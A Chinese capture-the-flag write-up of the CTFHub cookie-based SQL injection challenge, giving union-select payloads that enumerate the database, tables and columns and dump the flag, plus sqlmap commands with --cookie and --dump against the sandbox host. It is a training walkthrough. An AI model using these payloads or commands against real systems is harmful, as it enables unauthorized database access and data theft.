CTFHUB技能树之SQL——Cookie注入

开启靶场,打开链接:

发现没有注入点,猜测是Cookie注入


用burp抓包发送到repeater中:

先直接发送看看情况:

应该是整数型注入?毕竟默认就是id=1


判断一下字段数:

1 order by 2#

正常回显

1 order by 3#

回显错误,说明字段数是2


查看数据库位置:

1 union select 1,2#

看样子可能不在数据库中,老样子,改成-1 union select 1,2#


(1)爆数据库名

-1 union select 1,database()#

得到数据库名是sqli


(2)爆表名

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'#

得到cxmdnrbzzo表和news表


(3)爆列名

-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='cxmdnrbzzo'#

得到urweetotud列


(4)爆字段内容(flag)

-1 union select 1,group_concat(urweetotud) from sqli.cxmdnrbzzo#

得到flag:

ctfhub{c177bd6f0e338d70e4f1e63c}


用sqlmap试试:

python sqlmap.py -u "http://challenge-0bf292bea88ff8cd.sandbox.ctfhub.com:10800/" --cookie "id=1" --level 2 --dbs

(注意:不设置level的话没法爆破出数据库信息)

爆出sqli数据库了


python sqlmap.py -u "http://challenge-0bf292bea88ff8cd.sandbox.ctfhub.com:10800" --cookie "id=1" -D sqli --level 2 --tables

爆出cxmdnrbzzo表了


python sqlmap.py -u "http://challenge-0bf292bea88ff8cd.sandbox.ctfhub.com:10800" --cookie "id=1" -D sqli -T cxmdnrbzzo --level 2 --columns

(其实这一步不用爆也行,直接爆字段内容,下一步就是不写列名直接爆字段内容)

爆出urweetotud列了


python sqlmap.py -u "http://challenge-0bf292bea88ff8cd.sandbox.ctfhub.com:10800" --cookie "id=1" -D sqli -T cxmdnrbzzo --level 2 --dump

成功爆出flag

相关推荐
Omics Pro11 小时前
深度学习多组学互作:组内+组间
数据库·人工智能·深度学习·mysql·搜索引擎·自然语言处理
2501_9151063211 小时前
TraceEagle 代理抓包教程 本机和手机的 HTTPS 抓包方法
网络协议·计算机网络·网络安全·ios·adb·https·udp
残*影12 小时前
如何优雅地保存MySQL数据变更历史?
数据库·mysql
乐观的Terry12 小时前
3、数据库设计与领域实体
java·数据库·spring boot·spring cloud·ai编程
舞影天上12 小时前
RuoYi-Vue-Plus Docker 部署踩坑:MySQL 中文双重编码的根因与修复
数据库
Wzx19801213 小时前
Redis&ES——Retriever的抽象实现
数据库·人工智能·redis·elasticsearch
G.O.G.O.G13 小时前
《LeetCode SQL 从入门到进阶(MySQL)》06(下)
数据库·sql·oracle
heimeiyingwang13 小时前
【架构实战】SQL注入与XSS防御:常见Web漏洞的系统性修复
前端·sql·架构
zandy101115 小时前
多租户SaaS架构下的BI数据隔离与权限治理体系
数据库·架构·数据加密
多巴胺梦想家15 小时前
NoSQL 数据库:不只是关系型
数据库·nosql